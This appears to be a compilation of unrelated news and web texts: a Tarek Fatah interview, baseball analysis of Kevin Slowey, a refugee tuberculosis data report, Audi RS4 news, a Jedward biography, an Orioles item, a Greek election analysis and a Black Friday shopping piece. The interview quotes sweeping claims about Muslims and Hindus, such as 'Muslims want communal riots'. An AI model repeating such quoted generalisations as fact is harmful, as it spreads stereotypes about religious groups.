enterprise for the jihadis." Fatah went on to say that all the proponents of Pakistan were "Hindu hate mongers", including the celebrated Urdu poet Allama Iqbal. "Iqbal's ancestors were Hindus but he was a Hindu hater. He went to the extent of plagiarising his own poetry to attack the Hindus. I would call people in India who are still celebrating Iqbal and singing his tarana (anthem) as idiots," Fatah said. However, despite calling Partition a tragedy, Fatah has little tolerance for the idea of Pakistan -- or any of its component territories -- merging with India. "Why should Pakistan merge with India. Bhutan is an independent country; so why not Balochsitan or Sindh? What is this obsession with territories? It's a very feudal concept," he said. Although he believes that Balochistan and Sindh should be independent countries, he dismisses separatist movements within India such as that for Khalistan or Azad Kashmir or Bodoland as "ideas drawn up in Pakistan's boardrooms". On Kashmir, he said that although the Kashmiris fit his definition of a nation, like the Balochs, they can't be given independence as "Kashmiris themselves opted to join India in 1947". Fatah also has an objection to Indian Muslims naming their children after kings and Sultans such as Aurangzeb and Taimur. "Indian Muslims have made people like Aurangzeb their heroes. That's why Saif Ali Khan has named his son Taimur. His wife says my husband is a historian. Is this what they got in history?" Fatah asked. So what should have been the baby's name, in his opinion? Pat came the reply: "Hitler rakh lete jee, toh Hinduon ko bhi thand par jaati. (They should have named him "Hitler" instead, so that even Hindus would have liked it). Because the (right wing) Hindus are so fond of Hitler. It's only in India that Hitler's books sell like hot cakes." The Canada-based writer has no love lost for Indian Muslims who flaunt surnames which show their Arab lineage such as Hashmi, Naqvi and Bukhari. "By flaunting surnames like Hashmi and Qureshi, they are saying 'we are not Indians, we are Arabs'. Only the Muslims who have converted from Hindus are Indians," he said. "But this phenomenon plagues all Indians. Even Hindus who have made money take fancy names. So Namrita becomes Nikki Haley and Piyush becomes Bobby Jindal. They are all liars," Fatah said. While slamming the mullahs for stopping inter-religious marriages -- which he said happened quite frequently in undivided India -- Fatah does not spare the Hindus. "The mindless Hindus are talking of love jihad. What nonsense is this? It is the fundamental human right of a man or woman who they choose to marry," he said. Fatah said that Indian Muslims are to be blamed for communal riots in India. "You end Muslim personal law, the communal riots would end. Muslims want communal riots and blame Hindus," he said. (Mohd Asim Khan can be contacted at mohd.a@ians.in) -At 49-43, the Minnesota Twins are engaged in a three-team battle for the A.L. Central crown. The Twins are 1.5 games back of the resurgent Chicago White Sox following yesterday’s victory over the Pale Hose (the Detroit Tigers also sit a game and a half back of the division lead). There is essentially no chance that the Wild Card comes out of anywhere but the AL East, so it’s division title or bust for the Twins. The club’s odds of playing postseason baseball — currently 36 percent according to Cool Standings — are heavily influenced by Justin Morneau’s return to health. But the Twins could also use a return to 2008 form from Kevin Slowey. A second-round pick out of Winthrop in the 2005 draft, Slowey has always boasted off-the-charts control. He issued just 1.3 walks per nine innings in the minors, punching out 8.8 per nine, and surrendering 0.5 HR/9 despite a low ground ball rate. According to Minor League Splits, Slowey induced grounders 41.1 percent of the time on the farm, but many of the fly balls hit against him were weak — his infield fly rate was 19.5 percent. Slowey made his big league debut in 2007, tossing 66.2 innings with 6.35 K/9, 1.49 BB/9, and a 4.78 xFIP. He owned one of the five lowest ground ball rates among pitchers with 60+ IP, at 28.9 percent. Converesely, the low number of grounders led to lots of round trippers — Slowey gave up 2.16 HR/9. The prospect often compared to Brad Radke had a higher-than usual home run per fly ball rate (13.3 percent), but with so few grounders and ample fly balls hit, homers figured to be a big problem for Slowey if hitters continued to loft the ball so often. The next year, Slowey’s ground ball rate increased (relatively speaking), and he posted a 4.02 xFIP in 160.1 innings after coming back from an early-season biceps strain. Since then, Slowey’s xFIP has gone in the wrong direction: in 2009, he had a 4.23 mark in 90.2 IP before right wrist surgery ended his season in July, and he currently holds a 4.68 xFIP in 100 innings this season. Slowey’s control remains superb, though he’s walking slightly more hitters (1.35 BB/9 in ’08, 1.49 BB/9 in ’09, and 1.71 BB/9 this year). His K rate, 6.9 per nine in 2008 and 7.44 per nine in 2009, is also a little worse than usual at 6.3 K/9. Another disconcerting sign for Slowey is his ground ball rate. I used Pitch F/X data from Joe Lefkowitz’s site to find Slowey’s batted ball distribution over the 2008 to 2010 seasons. I also included the MLB averages for pitchers, provided by Harry Pavlidis at The Hardball Times. These numbers differ from the BIS data on Slowey’s player page, but you’ll note a clear change in his batted ball profile: (Note: Pitch F/X is showing more of Slowey’s fastballs as “sinkers” this season. It seems like this could be a classification change by Pitch F/X instead of a change on Slowey’s part, so I decided to lump all his fastballs together. For the purposes of this article, the MLB averages for the fastball are for four-seamers.) Slowey’s ground ball rate, already low, has declined sharply. Some of those grounders have been replaced by pop ups, particularly in 2009. But this season, Slowey’s giving up lots of balls classified as flies and liners, which is not a happy development, given that fly balls typically have a slugging percentage between .550 and .600 (Slowey’s career SLG% on fly balls is .639) and liners fall for hits about 72 to 73 percent of the time (about 75 percent for Slowey). Is Slowey doing anything different in terms of pitch selection this season? He is using his fastball less often, in favor of mid-80’s sliders and mid-70’s curveballs: Using Lefkowitz’s Pitch F/X tool, I broke down Slowey’s batted ball distribution by pitch type: In 2010, Slowey’s ground ball rate on his fastball is down, with more flies and liners hit. The rate on his slider has remained about the same, though that GB% is still well under the MLB norm. His GB rates on the curve and changeup are down, with more curves classified as flies and more changeups classified as liners. How is Slowey faring when batters put these pitches in play? Here are his slugging percentage on contact numbers by pitch type, along with MLB averages from Pavlidis’ article: Slowey’s slugging percentage on contact with the fastball remains slightly below average, while the SLGCON on his slider has improved. But he’s looking like Charlie Brown when he breaks out the curve or the change. Six of his sixteen homers given up have come on curveballs and changeups. With opponents rarely chopping the ball into the grass, Slowey has coughed up 1.44 homers per nine innings this season. Also not helping his case is Minnesota’s outfield D — typically featuring some combination of Delmon Young, Michael Cuddyer and Jason Kubel in the corners; Twins fly catchers have a collective -6.8 UZR/150 this season (all have poor career marks, too). Even with outstanding control, it’s going to be hard for Slowey to be more than a league-average starter if he keeps generating so few grounders. -The Illinois Department of Public Health has confirmed that eight refugees were diagnosed with active tuberculosis (TB) “during the initial health screening or within 90 days of the refugee arrival” in the four years between 2012 and 2015. This data was not included in the Reported Tuberculosis in the United States documents published annually by the Centers for Disease Control (CDC) between 2012 and 2015. Those reports confirmed 1,565 cases of active TB diagnosed among refugees in the 46 states that reported immigration status upon first arrival among foreign-born residents of the United States diagnosed with active TB. Illinois is one of four states that do not share this data with the CDC. Arizona, Virginia, and Washington are the other three states. “Illinois reports all data elements required by the CDC. It would be inaccurate to try to compare the Illinois data to the data in the CDC report due to different reporting methodologies,” spokesperson for the Illinois Department of Health (IDPH) told Breitbart in an emailed statement. “Background information-the IDPH Refugee Health Program does track TB among refugees,” the spokesperson added, noting: The IDPH Communicable Disease Control Section does not report refugee TB data to the CDC in the same manner as some other states, but Illinois does report all data elements required by CDC. In some states, the refugee program is part of the communicable disease section. That is not the case in Illinois. The reporting methodology is different, therefore comparing Illinois data with the CDC report would be comparing apples to oranges. The Illinois Refugee Health Program captures active TB cases during the initial health screening or within 90 days of the refugee arrival. This is one reason why Illinois’ data is not included in this CDC report. The data provided in the CDC report comes from our Communicable Disease Control Section. While the IDPH Communicable Disease Control Section tracks foreign-born cases of TB as this information is important for evaluation, testing, and treatment decisions, the Section is not required to collect and report refugee information to the CDC. “However, it would be inappropriate to try to compare the Illinois data to the data in the CDC report due to different reporting methodologies. 2015 – 4 TB cases (calendar year), 2014 – No TB Confirmed Cases Reported (Federal Fiscal Year), 2013 – 2 TB cases (Federal Fiscal Year), 2012 – 2 TB cases (Federal Fiscal Year),” the spokesperson noted. Twenty-six thousand four hundred and six refugees were resettled in Illinois by the federal government between 2003 and 2015, according to the Department of State. Surprisingly, CDC does not require Illinois or any other state to provide data related to immigration status upon arrival for patients diagnosed with active TB for its annual Reported Tuberculosis in the United States. “CDC encourages states/jurisdictions to provide as complete information as possible, but there is no requirement that they provide immigration status as part of routine surveillance,” a spokesperson told Breitbart News on Monday. Limiting reporting of cases of TB diagnosed upon arrival, however, fails to capture the majority of the refugee TB cases which develop and are diagnosed more than a year after their arrival. As the annual Reported Tuberculosis in the United States, 2015 stated, only 17 percent of the 6,350 cases of active TB diagnosed among foreign-born residents of the United States that year, or 1,003 out of 6,350, were diagnosed less than one year after their arrival in the United States. Twenty eight percent of those cases, or 1,779 out of 6,350, were diagnosed more than one year after but less than ten years after their arrival, 19 percent, or 1,240 out of 6,350, were diagnosed more than ten years but less than twenty years after their arrival, and 26 percent, or 1,682 out of 6,350, were diagnosed more than twenty years after their arrival. (Nine percent of cases were classified as “unknown/missing.”) In Illinois, 18 percent of foreign-born TB cases diagnosed in 2015, or 43 out of 243, were diagnosed less than one year after their arrival in the United States. Nine percent those 43 foreign-born cases, or 4 out of 43, were refugees. Eighty two percent of foreign-born TB cases diagnosed in 2015 in Illinois, or 200 out of 243, were diagnosed one year or more after their arrival in the United States. If nine percent of those 200 cases were refugees, that would mean there were 38 additional cases of refugee TB diagnosed in Illinois that year. Discovering that information, however, seems problematic, since “the IDPH Communicable Disease Control Section tracks foreign-born cases of TB as this information is important for evaluation, testing, and treatment decisions, the Section is not required to collect and report refugee information to the CDC.” The eight cases of refugee TB reported to Breitbart News by Illinois, combined with the eleven cases in 2015 reported to Breitbart News by the state of Washington, brings the total known cases of active TB diagnosed among refugees in the United States between 2012 and 2015 to 1,584. This latest estimate understates the true number of refugee TB cases in the United States during these four years because Arizona and Virginia do not collect refugee TB data or report it to the CDC, New York City and Washington, D.C. do not report this data to the CDC (and have not commented to Breitbart News whether they collect it), Illinois does not track cases of TB diagnosed in refugees after their initial medical screening in the first year after their arrival, and the state of Washington has not provided refugee TB data to Breitbart News for the years 2012, 2013, and 2014. -Advertisement - Continue Reading Below Let’s start with the good news. Heinz Hollerweger, head of Audi’s Quattro GmbH, says that expanding sales in the U.S. is vital for improving the division’s performance. “Europe is becoming a less important market, the U.S.A. and China are where we see growth happening,” he told us at the press launch for the new Audi R8. So naturally we asked him about the replacement for the current RS4 (pictured)—specifically its prospects for America. And those prospects look good. Firstly, as previously reported, Hollerweger confirmed that the new car will switch to six-cylinder power, with a turbocharged unit in place of the outgoing model’s charismatic naturally aspirated V-8. “I think that power has increased more than enough, and of course other performance is improved too,” he said, adding that the upcoming car will have a higher output than the last one’s 420 horsepower. Although he wouldn’t discuss exact timing, he said the RS4 will be launched relatively early in the production cycle of the new A4. We’re presuming that means shortly after the S4, which is due next year and which will stick with a modified version of the current car’s supercharged V-6. The more pressing question is whether the new RS4 will make it to the U.S. Hollerweger confirmed that it will launch as an Avant station wagon, saying, “that is what people expect from the RS4.” Based on past experience, that means Audi America is likely to deny it to us. But there is a glimmer of hope. “The U.S. is changing, and there is more demand there [for wagons], so maybe that will change,” Hollerweger said. So will there be a sedan? Hollerweger suggested not: “we have to think of where we want to sell cars, and what is expected there. The potential in China and the U.S. for RS models is getting us thinking about body styles that may work there—maybe a hatchback, like the RS7.” Advertisement - Continue Reading Below With a Sportback four-door version of the current S5 having already been sold in certain markets, that sounds like a pretty broad hint that we’re likely to get an RS5 Sportback rather than an RS4. RS4 Avant or RS5 Sportback, we’ll take Audi’s maximum A4 however we can get it. -Irish musical duo John and Edward Grimes (born 16 October 1991), collectively known as Jedward, are an Irish singing and television presenting duo. They are identical twins and first appeared as John & Edward in the sixth series of The X Factor in 2009, generating a phenomenon of ironic popularity described as "the Jedward paradox".[1] They finished sixth[2] and were managed by Louis Walsh, who was their mentor during The X Factor.[3][4] Jedward have released three albums: Planet Jedward, Victory, and Young Love. The first two went double platinum in Ireland.[5][6] They have released nine singles, including "Under Pressure (Ice Ice Baby)", a mash-up of "Under Pressure" by Queen/David Bowie and Vanilla Ice's "Ice Ice Baby"; "Lipstick", with which they represented Ireland at the Eurovision Song Contest 2011; and "Waterline", with which they represented Ireland at the Eurovision Song Contest 2012. Jedward are also known for their television work, including presenting children's series Jedward's Big Adventure and OMG! Jedward's Dream Factory, and for participating in Celebrity Big Brother 8 [7] and Celebrity Big Brother 19 of which they were announced runners-up missing out on the winning spot to Coleen Nolan. John and Edward's combined net worth was estimated at €6m in September 2013, and they have been ranked as the fifth most financially successful former X Factor UK contestants.[8] They also appeared on the fourth series of Celebrity Coach Trip in 2019. Early and personal life Identical twin brothers John Paul Henry Daniel Richard Grimes and Edward Peter Anthony Kevin Patrick Grimes were born in Dublin. John and Edward's first school was Scoil Bhríde National School in Rathangan. They then attended King's Hospital School for four years before being moved to the Dublin Institute of Education. The twins competed in school talent shows during their school years and were inspired by Justin Timberlake, Britney Spears and the Backstreet Boys. They were also members of the Lucan Harriers Athletic Club and Dundrum South Dublin athletics club and have competed in several Irish athletic tournaments.[9] In addition, they briefly worked as games testers for Xbox 360 format holder Microsoft and support football clubs Newcastle United and Celtic.[10] Career 2009–2012: The X Factor and Planet Jedward Jedward performing live on the X Factor Tour, in 2010 In 2008 John and Edward formed a duo and the following year they auditioned in Glasgow as a group for the sixth series of The X Factor, under the name John & Edward.[11][12] Despite being described by judge Simon Cowell as "not very good and incredibly annoying", John & Edward were put through to bootcamp, then made it to judges' houses, where Louis Walsh selected them for the live shows.[13] The twins' inclusion in the final 12 was a controversial decision, due to their lack of experience,[14] but Walsh stood by them, saying "I don't know how people can hate two nice young kids from Ireland. They've been edited really badly and come across as the people everyone loves to hate... but they're just raw, naïve and innocent and they have the potential to be really good."[15] John & Edward became known for their unpolished but enthusiastic performances,[16] famously including a version of Britney Spears' "Oops!... I Did It Again", during which they reenacted the Titanic monologue.[17] After their departure from The X Factor, Jedward were signed to Modest! Management, however it was later announced that Louis Walsh had reached "an amicable agreement", which allowed him to take the twins on.[18] From February until April 2010, they performed on the X Factor Live tour, where they were credited with the boost in demand for tickets, that led to an extension in the tour run.[19] Their debut single "Under Pressure (Ice Ice Baby)" was a mashup of "Under Pressure" and "Ice Ice Baby", with Vanilla Ice contributing guest vocals. In March Jedward's Sony contract ended, but the following day Universal Music Ireland signed them on a three-album contract.[20] In April 2010, Jedward began their first solo tour, a 27-date tour of Ireland called the Planet Jedward Tour. Due to popular demand, it was extended with a second 43-date leg in the UK and Ireland. The Irish Independent rated the tour positively, saying that "Jedwardmania is right up there with Beatlemania."[21] Jedward's second single, a cover of the Blink-182 song "All the Small Things", was released in July 2010 and peaked at number 21 on the Irish charts and number 6 on the UK Indie Chart. The same week, Jedward released their debut album Planet Jedward, consisting of cover versions. It which went straight to number one on the Irish Albums Chart and number 17 on the UK Albums Chart.[22][23] In August 2010, Jedward appeared in their own ITV2 documentary, entitled Jedward: Let Loose, a three-part series in which they moved out of their home for ten days.[24] 2011–2012: Victory Jedward performing live on the X Factor Tour, in 2010 On 12 February 2011, Jedward released their third single and Eurovision Song Contest entry "Lipstick", which peaked at number one in Ireland. Jedward successfully qualified from the second Eurovision Song Contest semi-final, eventually finishing in eighth place. After the Eurovision Song Contest, "Lipstick" was released digitally across Europe, where it charted in many countries such as Belgium, Sweden, Germany and most notably Austria where it peaked at number three. The song also peaked at number 8 in the South Korea's international artists' chart.[25] "Lipstick" had featured in a Hyundai advertising campaign in South East Asia.[26] Shortly after the Eurovision Song Contest, on 23 May, Jedward performed in front of an audience of 60,000 people at College Green in Dublin City ahead of a speech by visiting U.S. President Barack Obama.[27] In April 2011, Jedward began their second tour, the Bad Behaviour Tour, with a series of dates across Ireland.[28] Jedward's next single "Bad Behaviour" was released in July and reached number one in the Irish charts.[29] This was followed two weeks later by their second album Victory, consisting entirely of original tracks. A new version of Planet Jedward was released by the German branch of Universal Music in July, featuring a mix of tracks from Planet Jedward and new songs from Victory.[30] On 31 July, the twins began the first leg of their third tour, The Carnival Tour, with 12 shows across Ireland and Northern Ireland.[31] In September Jedward played their first European tour, with dates in Sweden and Germany,[32] followed by a UK tour.[33] Three days after the first leg finished, Jedward entered the Celebrity Big Brother 8 house. They made it to the final, eventually finishing in third place. The third single from Victory, "Wow Oh Wow" was released in August 2011, with a music video featuring their Celebrity Big Brother housemate Tara Reid. In December, Jedward starred in the pantomime Jedward and the Beanstalk, a musical comedy version of the fairytale Jack and the Beanstalk. 2012–2013: Young Love Jedward performing at Eurovision Song Contest, in 2011 In 2012 saw Jedward again win the Irish national selection for the Eurovision Song Contest, this time with their song "Waterline". In May, Jedward performed "Waterline" at the Eurovision Song Contest 2012 in Baku, Azerbaijan. After qualifying from their semi-final, they eventually came in 19th place in the grand final.[34] "Waterline" was also the lead single on the twins' third album Young Love, released in June. The tracks "Young Love" and "Luminous" were also released as singles. Jedward released the charity single and "unofficial" Irish UEFA Euro 2012 song "Put the Green Cape On", a reworking of "Lipstick".[35] The duo embarked on the European leg of their Victory Tour in January, playing in Austria, Germany, Sweden, Finland and Estonia. This was followed by the Young Love Tour in Ireland in August.[36][37] They also visited Singapore, where the new album had enjoyed popular success.[38] In June they ran as part of the 2012 Summer Olympics torch relay in Dublin on day 19 of the relay.[39][40] The twins starred in their own TV series Jedward's Weird Wild World on UK TV channel 5*, with John and Edward humorously presenting a selection of popular internet videos.[41] Over the Christmas and New Year period RTÉ broadcast the second series of their show OMG! Jedward's Dream Factory,[42] and the second season of their BBC series Jedward's Big Adventure screened in early 2013.[43] Over the festive season, Jedward starred in their third annual pantomime, Jedward & the Magic Lamp.[44] In January 2013, the twins made a promotional visit to Toronto, Ontario, Canada, appearing twice on MuchMusic's New Music Live show[45] and also made an appearance on Canada AM.[46] While in Toronto, Jedward also filmed a promotional video for the Young Love album track "Happens in the Dark" and previewed a clip from the video on New Music Live.[47] Later in the month, it was announced that Jedward's three-album contract with Universal Music Ireland would not be renewed.[48] The music video for "Happens in the Dark" was premiered on Much Music in March, with the video having been shot in Toronto earlier in the year.[49] In April the twins filmed a video for the song "What's Your Number?" in New York City.[50] Later in the month they made a promotional visit to Australia, including radio and television appearances.[51] In June, Jedward joined the line-up of A Night for Christy, a gala concert in aid of Aslan frontman Christy Dignam. The twins performed Aslan's song "She's So Beautiful" with the band.[52] In July the twins performed live shows in Cork and Limerick, with a UK live tour scheduled for September.[53][54] In November the twins toured Australia, with performances in Perth, Melbourne and Sydney. While in Australia they also released the music video for Young Love album track "Can't Forget You".[55] 2014–present: Fourth studio album In January 2014, the third series of their CBBC television programme Jedward's Big Adventure was broadcast. Due to its popularity, the series run was doubled to 10 episodes.[56] They also provided weekly style commentary of the contestants in Sweden's Melodifestivalen competition and made a guest performance at the Melodifestivalen Second Chance show in early March.[57] In April 2014, Jedward debuted their new single "Free Spirit" on Australian radio station KIIS 106.5. This was followed by news of the duo's fourth studio album to be released later in the year. The album will contain songs written and produced by Jedward.[58] The duo's follow-up single "Ferocious" was released in November 2014, charting at No.15 on the Irish singles chart.[59] In November 2014 it was announced that John and Edward would be joining the cast of ITV's new circus reality show Get Your Act Together in 2015.[60] Between 2014 and 2016, they released several new self-penned singles and directed the accompanying music videos. The twins appeared on The Ray D'arcy Show in February 2017 and confirmed that they are working on their fourth studio album, which is due for release in the near future[when?]. Philanthropy Jedward are involved with many charity projects, and were one of the highest rated charity ambassadors in Ireland for 2011.[61] Jedward are ambassadors for the Irish Society for the Prevention of Cruelty to Children (ISPCC) and have fronted an ISPCC poster campaign.[62] The proceeds of their Euro 2012 charity single "Put The Green Cape On" also went to the ISPCC. From 2010 to 2013 Jedward performed annually at the ChildLine Concert, which benefits the ISPCC's ChildLine service.[63][64] Also in Ireland, Jedward have been involved with the ISPCA's My Dog Ate It campaign,[65] and promote the Concern Worldwide Fast fundraiser.[66] Jedward have also been involved with Comic Relief,[67] Sport Relief[68] and Children in Need,[69] in the UK, as well as giving their time to visit children in hospitals.[70] Other ventures Advertising Jedward have been involved with many advertising campaigns in the UK and Ireland. In 2009, agreed to be the subject of a Tourism Ireland radio campaign, which made a tongue-in-cheek apology to the UK for Jedward's antics on The X Factor.[71] In 2010, Jedward fronted an advertising campaign for Irish fast food chain Abrakebabra.[72] Jedward have also fronted advertising campaigns for East Midlands Trains,[73] Rowntree's Randoms,[74] Disney Universe[75] and a Travel Supermarket commercial with comedian Omid Djalili. The latter was later banned after the UK Advertising Standards Authority ruled that the advert was misleading.[76] In 2011, they fronted an advertising campaign for mobile network 3 Ireland, including their own Jedward-branded mobile phone.[77] Stage Since 2010, Jedward have performed in an annual pantomime over the Christmas and New Year period. Based at the Olympia Theatre, Dublin, the pantomimes also star Linda Martin. John and Edward play themselves and the shows feature Jedward songs. The twins' first show was Cinderella in 2010, where they played the fairy godbrothers.[78] They returned in 2011 with a sell-out season of Jedward and the Beanstalk,[79] and again in 2012 with Jedward and the Magic Lamp.[80] In 2013 their fourth pantomime was Jedward in Beauty and the Beast.[81] Fashion career Jedward have also been signed to Next Models and appeared in fashion magazines such as i-D, Esquire and Grazia. Impact Their fans include Pixie Lott and Robbie Williams.[82] Taoiseach Brian Cowen also backed the singers,[83] while Leona Lewis said that she worried about them.[84][85] Two leading British political parties, Labour and the Conservatives, each released campaign posters parodying the twins.[86][87] Former Prime Minister Gordon Brown came under fire in November 2009 for describing Jedward as "not very good" and later apologised for doing so.[88][89] Following this, Walsh stated "So Gordon Brown and Simon Cowell both have something in common: neither of them know what the public want." Former Prime Minister David Cameron admitted that he enjoyed watching The X Factor and that Jedward were his favourite act. Cameron also bought a T-shirt with their faces on it.[88][90][91][92] The Irish Independent called Jedward "tone-deaf twins", even though the pair were voted more popular than The Beatles in a teenage poll. Comedian Oliver Callan has parodied them on his RTÉ 2 show Nob Nation.[94] Their 2017 court case[95] was later the subject of a stage musical starring comedians Kevin McGahern and Tony Cantwell.[96] Discography Studio albums Filmography Awards and nominations See also -SARASOTA, Fla. - The search for Cuban outfielder Henry Urrutia has come to an end. Urrutia obtained his work visa and made it out of Haiti. I’m told that he’s in Miami and will take his physical before reporting to the Orioles’ minor league complex at Twin Lakes Park in Sarasota. Executive vice president Dan Duquette confirmed tonight that Urrutia had arrived in Florida. “He needs to get in shape and we need to see how far along he is,” Duquette said. “He needs to get the rust off. I’m not sure how much he was able to train in Haiti. Urrutia, who received a $778,500 bonus from the Orioles over the summer, batted .397/.461/.597 with 12 homers, 32 walks and 23 strikeouts in 305 at-bats in his final season in Cuba. He played for Las Tunas in the Cuban League from 2006 to 2010 and batted .350 with 72 doubles, nine triples, 33 home runs, 219 RBIs and 209 runs. He also represented Cuba in the 2010 World Championships. The 6-foot-5, 195-pound switch-hitter didn’t play in 2011 due to a suspension after an unsuccessful attempt at defection. The Orioles wanted to assign Urrutia to Double-A Bowie over the summer, but he was stuck in Haiti while attempting to obtain his visa. The club will decide on an affiliate for Urrutia after he works out in Sarasota. “Let’s see where he is,” Duquette said. At least the Orioles know that he’s in Miami and able to officially join the organization. Here’s a scouting report on Urrutia from July. In other news, Tsuyoshi Wada will throw his third bullpen session from a regular mound on Saturday, according to manager Buck Showalter. Wada threw 25 pitches today and said he continues to feel stronger. -The European election in Greece By Christoph Dreier 29 May 2014 The outcome of the European election in Greece reflects the population’s resolute opposition to the Greek government and the European Union’s austerity drive. Support for the ruling New Democracy (ND) and its social democratic coalition partner PASOK (Panhellenic Socialist Movement) fell to an all-time low. For the first time, the United Social Front (SYRIZA EKM) emerged as the strongest contender. Third place was taken by the fascist Golden Dawn. Compared to the Greek parliamentary election of two years ago, the two governing parties lost more than 10 percentage points. The ND garnered only 22.7 percent of the vote (compared to 29.7 percent two years ago). Although PASOK had affiliated with other parties in the Olive Tree coalition, the grouping received only 8.0 percent (as compared to 12.3 percent for PASOK in 2012). Compared to the last European election five years ago, the governing parties lost almost 40 percentage points, losing considerably more than half of their erstwhile voters. The SYRIZA (Coalition of the Radical Left) breakaway organisation, the Democratic Left (DIMAR), which was part of the coalition government until a year ago, also collapsed. Two years ago, it won 6.3 percent of the vote. In this election, it obtained only 1.2 percent of the votes cast, well below the 3.0 percent parliamentary threshold requirement. SYRIZA is now the strongest party electorally. It was able to match its result in the previous national election with only slight losses (26.6 percent compared to 26.7 percent). However, its success in concurrent local elections was more limited. SYRIZA was the winner on the Ionian Islands and in the region of Attica, where more than a third of the Greek population lives. Contenders from the ruling parties were able to prevail in seven regions, but four other regions elected independent candidates. The fascists of Golden Dawn were able to increase their share of the vote in the European election as compared to the Greek parliamentary election two years ago from 6.9 percent to 9.4 percent. They are now the third strongest party. Golden Dawn, which has carried out repeated attacks on political opponents, immigrants and homosexuals, has been promoted by the state apparatus and is closely connected with the ruling ND. Election analyses revealed that over 50 percent of the police voted for Golden Dawn. For the first time, the new liberal Potami (the River) group gained 6.6 percent of the vote and will send two deputies to Brussels. The arch-Stalinist Communist Party (KKE) received 6.1 percent, slightly improving its result from the last parliamentary election (4.5 percent). The right-wing populists of the Independent Greeks (ANEL) dropped from 7.5 percent to 3.5 percent. The election result places the coalition government under heavy pressure. Over the last two years, the coalition’s once comfortable majority has declined by some 27 deputies. Currently, it is based on only 152 of the 300 deputies. If the European election results were repeated in a national parliamentary election, the ruling coalition parties would lose 94 seats. Despite the disastrous result for the ruling coalition, Prime Minister Antonis Samaras ruled out any prospect of early elections. “Those who tried to turn the EU into a plebiscite election failed,” Samaras said in a brief televised address. “They failed to create conditions of instability, uncertainty and political ungovernability.” The premier said he knew what he had to do. “We will proceed as quickly as possible,” he said, without being more specific. According to press reports, Samaras is planning a radical reshuffle of his government. On Thursday, he will meet with President Karolos Papoulias to discuss the future course. This will be followed by planned coalition talks. At noon on Monday, SYRIZA Chairman Alexis Tsipras met with the president, who has a purely symbolic role in Greece. Afterwards, Tsipras said: “We should move to national elections as soon as possible in an organised and calm manner to restore democratic normality.” He added that Samaras had lost moral legitimacy to lead new negotiations with the European Union and impose new austerity measures. The election result signifies a clear rejection of the policy of the Greek government, which has been imposing Brussels’ austerity dictates on the population for the past two years. During this period, wages have fallen by up to 60 percent, general taxation has increased, and unemployment has risen to over 27 percent. The health and education systems are on the brink of collapse. Approximately 40 percent of workers are already excluded from health care because they are unable to afford treatment. Workers are overwhelmingly opposed to this policy. Since 2010, some 6,300 demonstrations and protests have been held in Athens alone. That amounts to 14 per day. It includes as many as 36 general strikes, which have sometimes been attended by hundreds of thousands of workers. On Tuesday, May 20, teachers demonstrated outside the Ministry of Education against the government’s plans to cut jobs and merge or close more schools. This popular opposition is expressed in the election results for the ruling parties, which in recent weeks have once again been openly supported by the German government and EU officials. In light of the turnout of around 60 percent, only about a fifth of the electorate actually voted for one of the governing parties. Samaras’s intention to continue the government’s policy unchanged is a clear warning to the working class. In the last elections, only the undemocratic electoral system enabled the coalition to maintain its majority. Since then, the coalition has systematically curtailed workers’ democratic rights. Striking workers have been placed under martial law, demonstrations have been outlawed and fascist gangs encouraged. The social attacks that have been launched in Greece cannot be imposed by democratic means. The opposition of the workers, however, finds no expression in the program of the main opposition party, SYRIZA. Although the party uses its election campaigns to pose as an opponent of the austerity policy, it actively supports the EU and its brutal program of social reaction. Only two weeks ago, Tsipras declared at a congress of the German Left Party that a SYRIZA government would in principle recognise Greece’s debt and sit down with German Chancellor Angela Merkel to negotiate the terms of new loan agreements. Last year, Tsipras made several trips to the US and other European countries to meet with representatives of the EU, the International Monetary Fund (IMF) and various governments. Each time, he assured his hosts they had nothing to fear from a SYRIZA government. On the contrary, Tsipras claimed, a government under his leadership would bring more stability to the country. A SYRIZA government would be a thoroughly right-wing regime. It would continue the course of the Samaras government and follow the dictates of Brussels. As is the case in France under the Socialist Party government of François Hollande, the right-wing policies of an ostensibly left-wing government in Greece would strengthen the fascists. SYRIZA has already collaborated with the right-wing populists of ANEL on a number of occasions. Please enable JavaScript to view the comments powered by Disqus. -Black Friday 2016 For Mobile World If it is November, then it is Black Friday. Black Friday is the last Friday in November when you are thinking about those amazing gifts that will bring joy for your dear ones in December. If not, you certainly are in that category of people who makes long, long, long lists since last Black Friday with things you want to buy, waiting for this specific day when they are cheaper. Either way, there are two sure facts: everybody knows what Black Friday is and all customers buy in one day more than they could imagine (or they could use in their entire lifetime) just because of the huge sales. If years ago, people were making long queues early in the morning, in cold, outside the store and they were fighting for products inside, now this battle became online and since last year mobile devices have a bigger impact for this event. If we take a look at some stats published by Techcrunch we realize that 35% of Black Friday purchases in 2015 where made via mobile. Moreover, AppAnnie revealed a study after Black Friday 2015 where it shows a list of retail apps that won last year with this occasion. In 2016, the competition is fierce for mobile shoppers that need to make the best deal using their phones and tablets but for marketers, too because they have to stand out of the crowd to attract customers. Black Friday For Mobile Shoppers If you want to enjoy more these days and to eliminate the stress of getting the best price for the most incredible products in the shortest amount of time we have some tips to turn all this craziness in a pleasant adventure. Make your wishlist before the big day. Go to stores and analyze those products to be sure about their quality and their features. Check the store policies and be sure that you can return a product if you don’t like it or it doesn’t fit you. Then wait to attack the sales from the comfort of your home. Focus on mobile apps. A recent study published by Apptentive shows that 88% of consumers use retail mobile apps. This makes sense because apps are more customized and user friendly and they know what you are looking for before you press any button. Trust the evolution of technology and forget about the tiring mornings when you were waiting for stores to open their doors and after that you were struggling to reach other promotions. That’s history. Show your fidelity for some brands. Many companies offer special promotions for loyal customers who use frequently their app. Opt for receiving push notifications and wait for those messages that will announce top sales for your favorite products. If you still like to go to some specific stores for Black Friday choose those apps that can help you find the best route to get there or other apps that allow you to compare very fast, prices and characteristics of products. Test them before to be sure that they do what you want. Be careful for the shipping fee. There are a lot of retailers that offer free shipping. These benefits make you save time and money, which is the main target of using your mobile devices for Black Friday. Black Friday For Mobile Marketing In order to avoid the chaos in that short period of time and to handle better the entire process, follow our best practices to reach as many customers as possible. Update your application. Prepare your app for this “holiday” and offer your users an unforgettable experience. Let images and layouts to tell the story of this event and don’t forget that your app should fit perfectly for all types of devices. Don’t wait for the big day to arrive. Start now to change your app’s interface as a promise of professionalism to your users and allow them to imagine what will happen for Black Friday. Keep in mind that mobile purchases are expected to hit 20 billion in the next period, as Apptentive NO errors. It is great to change colors and images for this period but, this effort means nothing if your app will crush in that specific day. The time is limited and it is unacceptable to let users struggle to make their purchases or to view your offers. Should I say more? Test your app 100 times if need it to be sure that everything will go as planned. Implement easy payment methods. All what users want in that day is to complete as fast as possible a transaction and to 